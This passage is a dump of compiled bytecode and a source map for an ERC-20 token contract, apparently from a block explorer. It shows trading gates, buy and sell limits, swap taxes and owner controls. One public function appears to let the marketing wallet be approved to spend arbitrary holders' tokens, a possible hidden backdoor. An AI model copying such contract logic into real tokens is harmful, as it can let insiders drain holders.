b61094a6112ac565b6001600160a01b0381166109af5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610846565b6109b881611306565b50565b6001600160a01b038316610a1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610846565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610846565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610aeb84846108f8565b90506000198114610b535781811015610b465760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610846565b610b5384848484036109bb565b50505050565b6001600160a01b038316610b7f5760405162461bcd60e51b815260040161084690611908565b6001600160a01b038216610ba55760405162461bcd60e51b81526004016108469061194d565b60008111610bf55760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610846565b60085460ff161561101b576005546001600160a01b03848116911614801590610c2c57506005546001600160a01b03838116911614155b8015610c4057506001600160a01b03821615155b8015610c5757506001600160a01b03821661dead14155b1561101b57600854610100900460ff16610d53576001600160a01b03831660009081526007602052604090205460ff1680610caa57506001600160a01b03821660009081526007602052604090205460ff165b610cf65760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610846565b6005546001600160a01b03848116911614610d535760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610846565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610dad57506001600160a01b03821660009081526007602052604090205460ff16155b15610e9557600954811115610e1c5760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610846565b600b546001600160a01b038316600090815260208190526040902054610e4290836118f5565b1115610e905760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610846565b61101b565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610eef57506001600160a01b03831660009081526007602052604090205460ff16155b15610f6057600a54811115610e905760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610846565b6001600160a01b03821660009081526007602052604090205460ff16158015610fa257506001600160a01b03831660009081526007602052604090205460ff16155b1561101b57600b546001600160a01b038316600090815260208190526040902054610fcd90836118f5565b111561101b5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610846565b30600090815260208190526040902054600c5481108015908190611047575060085462010000900460ff165b8015611056575060115460ff16155b80156110635750600d5483115b80156110a157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156110c657506001600160a01b03851660009081526006602052604090205460ff16155b80156110eb57506001600160a01b03841660009081526006602052604090205460ff16155b15611110576011805460ff1916600117905561110561137e565b6011805460ff191690555b6001600160a01b03851660009081526006602052604090205460019060ff168061115257506001600160a01b03851660009081526006602052604090205460ff165b1561115b575060005b60008115611298576008546301000000900460ff161561117d5761117d611403565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03161480156111c057506000601054115b156111fe576064601054866111d59190611990565b6111df91906119a7565b905080601260008282546111f391906118f5565b9091555061127a9050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614801561124157506000600f54115b1561127a576064600f54866112569190611990565b61126091906119a7565b9050806012600082825461127491906118f5565b90915550505b801561128b5761128b87308361148d565b61129581866119c9565b94505b6112a387878761148d565b50505050505050565b6005546001600160a01b031633146107b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610846565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661136b57600080fd5b6001600160a01b038216610a7e57600080fd5b3060009081526020819052604090205460125481158061139c575080155b156113a5575050565b600c548211156113b557600c5491505b6113be826115b7565b6011546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156113fe573d6000803e3d6000fd5b505050565b6000600e54116114485760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610846565b600e54439060009061145b9060066118f5565b9050808211611472576012600f8190556010555050565b6004600f8190556010556008805463ff000000191690555050565b6001600160a01b0383166114b35760405162461bcd60e51b815260040161084690611908565b6001600160a01b0382166114d95760405162461bcd60e51b81526004016108469061194d565b6001600160a01b038316600090815260208190526040902054818110156115515760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610846565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b53565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115ec576115ec6119dc565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561165e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168291906119f2565b81600181518110611695576116956119dc565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906116ed908590600090869030904290600401611a0f565b600060405180830381600087803b15801561170757600080fd5b505af115801561171b573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561175057858101830151858201604001528201611734565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109b857600080fd5b6000806040838503121561179957600080fd5b82356117a481611771565b946020939093013593505050565b6000806000606084860312156117c757600080fd5b83356117d281611771565b925060208401356117e281611771565b929592945050506040919091013590565b6000806040838503121561180657600080fd5b823561181181611771565b91506020830135801515811461182657600080fd5b809150509250929050565b60006020828403121561184357600080fd5b813561184e81611771565b9392505050565b6000806040838503121561186857600080fd5b50508035926020909101359150565b6000806040838503121561188a57600080fd5b823561189581611771565b9150602083013561182681611771565b600181811c908216806118b957607f821691505b6020821081036118d957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610726576107266118df565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610726576107266118df565b6000826119c457634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610726576107266118df565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a0457600080fd5b815161184e81611771565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a5f5784516001600160a01b031683529383019391830191600101611a3a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e1449ada55557330adb648043f8ef6676ee7e1c209ad924fd80f99724770ce2064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102135760003560e01c8063715018a611610118578063a5ece941116100a0578063c9567bf91161006f578063c9567bf9146105ea578063c9f22c3e146105ff578063dd62ed3e14610620578063e6f7053114610640578063f2fde38b1461066057600080fd5b8063a5ece9411461056f578063a9059cbb14610594578063ad1c2f92146105b4578063baccf5cf146105ca57600080fd5b80638da5cb5b116100e75780638da5cb5b146104de5780638f3fa860146104fc57806395d89b411461051257806397b87b4a14610527578063a457c2d71461054f57600080fd5b8063715018a614610476578063751039fc1461048b5780637af11ac0146104a0578063877f4de5146104c857600080fd5b806344be73801161019b57806356212e481161016a57806356212e48146103de57806357cb1947146103f457806366d602ae1461040a5780636ddd17131461042057806370a082311461044057600080fd5b806344be73801461034c57806349bd5a5e146103625780634a62bb65146103ae5780634dc9d942146103c857600080fd5b80632924d9dd116101e25780632924d9dd146102b9578063307aebc9146102db578063313ce567146102fa57806339509351146103165780633c2565ff1461033657600080fd5b806306fdde031461021f578063095ea7b31461024a57806318160ddd1461027a57806323b872dd1461029957600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610234610680565b6040516102419190611723565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611786565b610712565b6040519015158152602001610241565b34801561028657600080fd5b506002545b604051908152602001610241565b3480156102a557600080fd5b5061026a6102b43660046117b2565b61072c565b3480156102c557600080fd5b506102d96102d43660046117f3565b610750565b005b3480156102e757600080fd5b5060085461026a90610100900460ff1681565b34801561030657600080fd5b5060405160128152602001610241565b34801561032257600080fd5b5061026a610331366004611786565b610783565b34801561034257600080fd5b5061028b60095481565b34801561035857600080fd5b5061028b600d5481565b34801561036e57600080fd5b506103967f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a381565b6040516001600160a01b039091168152602001610241565b3480156103ba57600080fd5b5060085461026a9060ff1681565b3480156103d457600080fd5b5061028b60105481565b3480156103ea57600080fd5b5061028b600c5481565b34801561040057600080fd5b5061028b60125481565b34801561041657600080fd5b5061028b600a5481565b34801561042c57600080fd5b5060085461026a9062010000900460ff1681565b34801561044c57600080fd5b5061028b61045b366004611831565b6001600160a01b031660009081526020819052604090205490565b34801561048257600080fd5b506102d96107a5565b34801561049757600080fd5b506102d96107b9565b3480156104ac57600080fd5b50610396737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156104d457600080fd5b5061028b600e5481565b3480156104ea57600080fd5b506005546001600160a01b0316610396565b34801561050857600080fd5b5061028b600b5481565b34801561051e57600080fd5b506102346107cd565b34801561053357600080fd5b50610396735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561055b57600080fd5b5061026a61056a366004611786565b6107dc565b34801561057b57600080fd5b506011546103969061010090046001600160a01b031681565b3480156105a057600080fd5b5061026a6105af366004611786565b61085c565b3480156105c057600080fd5b5061028b600f5481565b3480156105d657600080fd5b506102d96105e5366004611855565b61086a565b3480156105f657600080fd5b506102d961087d565b34801561060b57600080fd5b5060085461026a906301000000900460ff1681565b34801561062c57600080fd5b5061028b61063b366004611877565b6108f8565b34801561064c57600080fd5b5061026a61065b366004611786565b610923565b34801561066c57600080fd5b506102d961067b366004611831565b610942565b60606003805461068f906118a5565b80601f01602080910402602001604051908101604052809291908181526020018280546106bb906118a5565b80156107085780601f106106dd57610100808354040283529160200191610708565b820191906000526020600020905b8154815290600101906020018083116106eb57829003601f168201915b5050505050905090565b6000336107208185856109bb565b60019150505b92915050565b60003361073a858285610adf565b610745858585610b59565b506001949350505050565b6107586112ac565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60003361072081858561079683836108f8565b6107a091906118f5565b6109bb565b6107ad6112ac565b6107b76000611306565b565b6107c16112ac565b6008805460ff19169055565b60606004805461068f906118a5565b600033816107ea82866108f8565b90508381101561084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61074582868684036109bb565b600033610720818585610b59565b6108726112ac565b600f91909155601055565b6108856112ac565b600e54156108e15760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610846565b43600e556008805462ffff00191662010100179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60115460009061010090046001600160a01b0316610720848285611358565b61094a6112ac565b6001600160a01b0381166109af5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610846565b6109b881611306565b50565b6001600160a01b038316610a1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610846565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610846565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610aeb84846108f8565b90506000198114610b535781811015610b465760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610846565b610b5384848484036109bb565b50505050565b6001600160a01b038316610b7f5760405162461bcd60e51b815260040161084690611908565b6001600160a01b038216610ba55760405162461bcd60e51b81526004016108469061194d565b60008111610bf55760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610846565b60085460ff161561101b576005546001600160a01b03848116911614801590610c2c57506005546001600160a01b03838116911614155b8015610c4057506001600160a01b03821615155b8015610c5757506001600160a01b03821661dead14155b1561101b57600854610100900460ff16610d53576001600160a01b03831660009081526007602052604090205460ff1680610caa57506001600160a01b03821660009081526007602052604090205460ff165b610cf65760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610846565b6005546001600160a01b03848116911614610d535760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610846565b7f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a36001600160a01b0316836001600160a01b0316148015610dad57506001600160a01b03821660009081526007602052604090205460ff16155b15610e9557600954811115610e1c5760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610846565b600b546001600160a01b038316600090815260208190526040902054610e4290836118f5565b1115610e905760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610846565b61101b565b7f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a36001600160a01b0316826001600160a01b0316148015610eef57506001600160a01b03831660009081526007602052604090205460ff16155b15610f6057600a54811115610e905760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610846565b6001600160a01b03821660009081526007602052604090205460ff16158015610fa257506001600160a01b03831660009081526007602052604090205460ff16155b1561101b57600b546001600160a01b038316600090815260208190526040902054610fcd90836118f5565b111561101b5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610846565b30600090815260208190526040902054600c5481108015908190611047575060085462010000900460ff165b8015611056575060115460ff16155b80156110635750600d5483115b80156110a157507f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a36001600160a01b0316856001600160a01b031614155b80156110c657506001600160a01b03851660009081526006602052604090205460ff16155b80156110eb57506001600160a01b03841660009081526006602052604090205460ff16155b15611110576011805460ff1916600117905561110561137e565b6011805460ff191690555b6001600160a01b03851660009081526006602052604090205460019060ff168061115257506001600160a01b03851660009081526006602052604090205460ff165b1561115b575060005b60008115611298576008546301000000900460ff161561117d5761117d611403565b7f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a36001600160a01b0316866001600160a01b03161480156111c057506000601054115b156111fe576064601054866111d59190611990565b6111df91906119a7565b905080601260008282546111f391906118f5565b9091555061127a9050565b7f00000000000000000000000090e9cbb02b3539df58ab0b0d69aa65c1cfbe23a36001600160a01b0316876001600160a01b031614801561124157506000600f54115b1561127a576064600f54866112569190611990565b61126091906119a7565b9050806012600082825461127491906118f5565b90915550505b801561128b5761128b87308361148d565b61129581866119c9565b94505b6112a387878761148d565b50505050505050565b6005546001600160a01b031633146107b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610846565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661136b57600080fd5b6001600160a01b038216610a7e57600080fd5b3060009081526020819052604090205460125481158061139c575080155b156113a5575050565b600c548211156113b557600c5491505b6113be826115b7565b6011546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f193505050501580156113fe573d6000803e3d6000fd5b505050565b6000600e54116114485760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610846565b600e54439060009061145b9060066118f5565b9050808211611472576012600f8190556010555050565b6004600f8190556010556008805463ff000000191690555050565b6001600160a01b0383166114b35760405162461bcd60e51b815260040161084690611908565b6001600160a01b0382166114d95760405162461bcd60e51b81526004016108469061194d565b6001600160a01b038316600090815260208190526040902054818110156115515760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610846565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b53565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115ec576115ec6119dc565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561165e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168291906119f2565b81600181518110611695576116956119dc565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906116ed908590600090869030904290600401611a0f565b600060405180830381600087803b15801561170757600080fd5b505af115801561171b573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561175057858101830151858201604001528201611734565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109b857600080fd5b6000806040838503121561179957600080fd5b82356117a481611771565b946020939093013593505050565b6000806000606084860312156117c757600080fd5b83356117d281611771565b925060208401356117e281611771565b929592945050506040919091013590565b6000806040838503121561180657600080fd5b823561181181611771565b91506020830135801515811461182657600080fd5b809150509250929050565b60006020828403121561184357600080fd5b813561184e81611771565b9392505050565b6000806040838503121561186857600080fd5b50508035926020909101359150565b6000806040838503121561188a57600080fd5b823561189581611771565b9150602083013561182681611771565b600181811c908216806118b957607f821691505b6020821081036118d957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610726576107266118df565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610726576107266118df565b6000826119c457634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610726576107266118df565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a0457600080fd5b815161184e81611771565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a5f5784516001600160a01b031683529383019391830191600101611a3a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e1449ada55557330adb648043f8ef6676ee7e1c209ad924fd80f99724770ce2064736f6c63430008130033
Deployed Bytecode Sourcemap
16654:7828:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6759:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9175:201;;;;;;;;;;-1:-1:-1;9175:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9175:201:0;1023:187:1;7912:108:0;;;;;;;;;;-1:-1:-1;8000:12:0;;7912:108;;;1361:25:1;;;1349:2;1334:18;7912:108:0;1215:177:1;9964:261:0;;;;;;;;;;-1:-1:-1;9964:261:0;;;;;:::i;:::-;;:::i;24353:126::-;;;;;;;;;;-1:-1:-1;24353:126:0;;;;;:::i;:::-;;:::i;:::-;;17176:30;;;;;;;;;;-1:-1:-1;17176:30:0;;;;;;;;;;;7746:93;;;;;;;;;;-1:-1:-1;7746:93:0;;7829:2;2421:36:1;;2409:2;2394:18;7746:93:0;2279:184:1;10642:238:0;;;;;;;;;;-1:-1:-1;10642:238:0;;;;;:::i;:::-;;:::i;17290:25::-;;;;;;;;;;;;;;;;17429:30;;;;;;;;;;;;;;;;17671:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2632:32:1;;;2614:51;;2602:2;2587:18;17671:38:0;2468:203:1;17136:33:0;;;;;;;;;;-1:-1:-1;17136:33:0;;;;;;;;17531:28;;;;;;;;;;;;;;;;17392:30;;;;;;;;;;;;;;;;17632:32;;;;;;;;;;;;;;;;17322:28;;;;;;;;;;;;;;;;17213:31;;;;;;;;;;-1:-1:-1;17213:31:0;;;;;;;;;;;8091:127;;;;;;;;;;-1:-1:-1;8091:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8192:18:0;8165:7;8192:18;;;;;;;;;;;;8091:127;1778:103;;;;;;;;;;;;;:::i;23546:84::-;;;;;;;;;;;;;:::i;16973:100::-;;;;;;;;;;;;17030:42;16973:100;;17466:24;;;;;;;;;;;;;;;;1137:87;;;;;;;;;;-1:-1:-1;1210:6:0;;-1:-1:-1;;;;;1210:6:0;1137:87;;17357:28;;;;;;;;;;;;;;;;6978:104;;;;;;;;;;;;;:::i;16856:110::-;;;;;;;;;;;;16923:42;16856:110;;11391:436;;;;;;;;;;-1:-1:-1;11391:436:0;;;;;:::i;:::-;;:::i;17594:31::-;;;;;;;;;;-1:-1:-1;17594:31:0;;;;;;;-1:-1:-1;;;;;17594:31:0;;;8432:193;;;;;;;;;;-1:-1:-1;8432:193:0;;;;;:::i;:::-;;:::i;17497:27::-;;;;;;;;;;;;;;;;23372:162;;;;;;;;;;-1:-1:-1;23372:162:0;;;;;:::i;:::-;;:::i;23636:214::-;;;;;;;;;;;;;:::i;17251:32::-;;;;;;;;;;-1:-1:-1;17251:32:0;;;;;;;;;;;8696:151;;;;;;;;;;-1:-1:-1;8696:151:0;;;;;:::i;:::-;;:::i;22287:194::-;;;;;;;;;;-1:-1:-1;22287:194:0;;;;;:::i;:::-;;:::i;2036:201::-;;;;;;;;;;-1:-1:-1;2036:201:0;;;;;:::i;:::-;;:::i;6759:100::-;6813:13;6846:5;6839:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6759:100;:::o;9175:201::-;9258:4;435:10;9314:32;435:10;9330:7;9339:6;9314:8;:32::i;:::-;9364:4;9357:11;;;9175:201;;;;;:::o;9964:261::-;10061:4;435:10;10119:38;10135:4;435:10;10150:6;10119:15;:38::i;:::-;10168:27;10178:4;10184:2;10188:6;10168:9;:27::i;:::-;-1:-1:-1;10213:4:0;;9964:261;-1:-1:-1;;;;9964:261:0:o;24353:126::-;1023:13;:11;:13::i;:::-;-1:-1:-1;;;;;24433:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;-1:-1:-1;;24433:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;24353:126::o;10642:238::-;10730:4;435:10;10786:64;435:10;10802:7;10839:10;10811:25;435:10;10802:7;10811:9;:25::i;:::-;:38;;;;:::i;:::-;10786:8;:64::i;1778:103::-;1023:13;:11;:13::i;:::-;1843:30:::1;1870:1;1843:18;:30::i;:::-;1778:103::o:0;23546:84::-;1023:13;:11;:13::i;:::-;23600:14:::1;:22:::0;;-1:-1:-1;;23600:22:0::1;::::0;;23546:84::o;6978:104::-;7034:13;7067:7;7060:14;;;;;:::i;11391:436::-;11484:4;435:10;11484:4;11567:25;435:10;11584:7;11567:9;:25::i;:::-;11540:52;;11631:15;11611:16;:35;;11603:85;;;;-1:-1:-1;;;11603:85:0;;4880:2:1;11603:85:0;;;4862:21:1;4919:2;4899:18;;;4892:30;4958:34;4938:18;;;4931:62;-1:-1:-1;;;5009:18:1;;;5002:35;5054:19;;11603:85:0;;;;;;;;;11724:60;11733:5;11740:7;11768:15;11749:16;:34;11724:8;:60::i;8432:193::-;8511:4;435:10;8567:28;435:10;8584:2;8588:6;8567:9;:28::i;23372:162::-;1023:13;:11;:13::i;:::-;23463:12:::1;:25:::0;;;;23499:13:::1;:27:::0;23372:162::o;23636:214::-;1023:13;:11;:13::i;:::-;23695:9:::1;::::0;:14;23687:63:::1;;;::::0;-1:-1:-1;;;23687:63:0;;5286:2:1;23687:63:0::1;::::0;::::1;5268:21:1::0;5325:2;5305:18;;;5298:30;5364:34;5344:18;;;5337:62;-1:-1:-1;;;5415:18:1;;;5408:34;5459:19;;23687:63:0::1;5084:400:1::0;23687:63:0::1;23773:12;23761:9;:24:::0;23796:10:::1;:17:::0;;-1:-1:-1;;23824:18:0;;;;;23636:214::o;8696:151::-;-1:-1:-1;;;;;8812:18:0;;;8785:7;8812:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8696:151::o;22287:194::-;22393:16;;22360:4;;22393:16;;;-1:-1:-1;;;;;22393:16:0;22420:31;22428:7;22393:16;22444:6;22420:7;:31::i;2036:201::-;1023:13;:11;:13::i;:::-;-1:-1:-1;;;;;2125:22:0;::::1;2117:73;;;::::0;-1:-1:-1;;;2117:73:0;;5691:2:1;2117:73:0::1;::::0;::::1;5673:21:1::0;5730:2;5710:18;;;5703:30;5769:34;5749:18;;;5742:62;-1:-1:-1;;;5820:18:1;;;5813:36;5866:19;;2117:73:0::1;5489:402:1::0;2117:73:0::1;2201:28;2220:8;2201:18;:28::i;:::-;2036:201:::0;:::o;15384:346::-;-1:-1:-1;;;;;15486:19:0;;15478:68;;;;-1:-1:-1;;;15478:68:0;;6098:2:1;15478:68:0;;;6080:21:1;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;-1:-1:-1;;;6227:18:1;;;6220:34;6271:19;;15478:68:0;5896:400:1;15478:68:0;-1:-1:-1;;;;;15565:21:0;;15557:68;;;;-1:-1:-1;;;15557:68:0;;6503:2:1;15557:68:0;;;6485:21:1;6542:2;6522:18;;;6515:30;6581:34;6561:18;;;6554:62;-1:-1:-1;;;6632:18:1;;;6625:32;6674:19;;15557:68:0;6301:398:1;15557:68:0;-1:-1:-1;;;;;15638:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15690:32;;1361:25:1;;;15690:32:0;;1334:18:1;15690:32:0;;;;;;;15384:346;;;:::o;16035:419::-;16136:24;16163:25;16173:5;16180:7;16163:9;:25::i;:::-;16136:52;;-1:-1:-1;;16203:16:0;:37;16199:248;;16285:6;16265:16;:26;;16257:68;;;;-1:-1:-1;;;16257:68:0;;6906:2:1;16257:68:0;;;6888:21:1;6945:2;6925:18;;;6918:30;6984:31;6964:18;;;6957:59;7033:18;;16257:68:0;6704:353:1;16257:68:0;16369:51;16378:5;16385:7;16413:6;16394:16;:25;16369:8;:51::i;:::-;16125:329;16035:419;;;:::o;18827:3454::-;-1:-1:-1;;;;;18959:18:0;;18951:68;;;;-1:-1:-1;;;18951:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19038:16:0;;19030:64;;;;-1:-1:-1;;;19030:64:0;;;;;;;:::i;:::-;19122:1;19113:6;:10;19105:52;;;;-1:-1:-1;;;19105:52:0;;8074:2:1;19105:52:0;;;8056:21:1;8113:2;8093:18;;;8086:30;8152:31;8132:18;;;8125:59;8201:18;;19105:52:0;7872:353:1;19105:52:0;19172:14;;;;19168:1756;;;1210:6;;-1:-1:-1;;;;;19225:15:0;;;1210:6;;19225:15;;;;:49;;-1:-1:-1;1210:6:0;;-1:-1:-1;;;;;19261:13:0;;;1210:6;;19261:13;;19225:49;:86;;;;-1:-1:-1;;;;;;19295:16:0;;;;19225:86;:128;;;;-1:-1:-1;;;;;;19332:21:0;;19346:6;19332:21;;19225:128;19203:1710;;;19393:10;;;;;;;19388:328;;-1:-1:-1;;;;;19462:23:0;;;;;;:17;:23;;;;;;;;;:77;;-1:-1:-1;;;;;;19518:21:0;;;;;;:17;:21;;;;;;;;19462:77;19428:192;;;;-1:-1:-1;;;19428:192:0;;8432:2:1;19428:192:0;;;8414:21:1;8471:2;8451:18;;;8444:30;8510:31;8490:18;;;8483:59;8559:18;;19428:192:0;8230:353:1;19428:192:0;1210:6;;-1:-1:-1;;;;;19651:15:0;;;1210:6;;19651:15;19643:53;;;;-1:-1:-1;;;19643:53:0;;8790:2:1;19643:53:0;;;8772:21:1;8829:2;8809:18;;;8802:30;8868:27;8848:18;;;8841:55;8913:18;;19643:53:0;8588:349:1;19643:53:0;19796:13;-1:-1:-1;;;;;19788:21:0;:4;-1:-1:-1;;;;;19788:21:0;;:47;;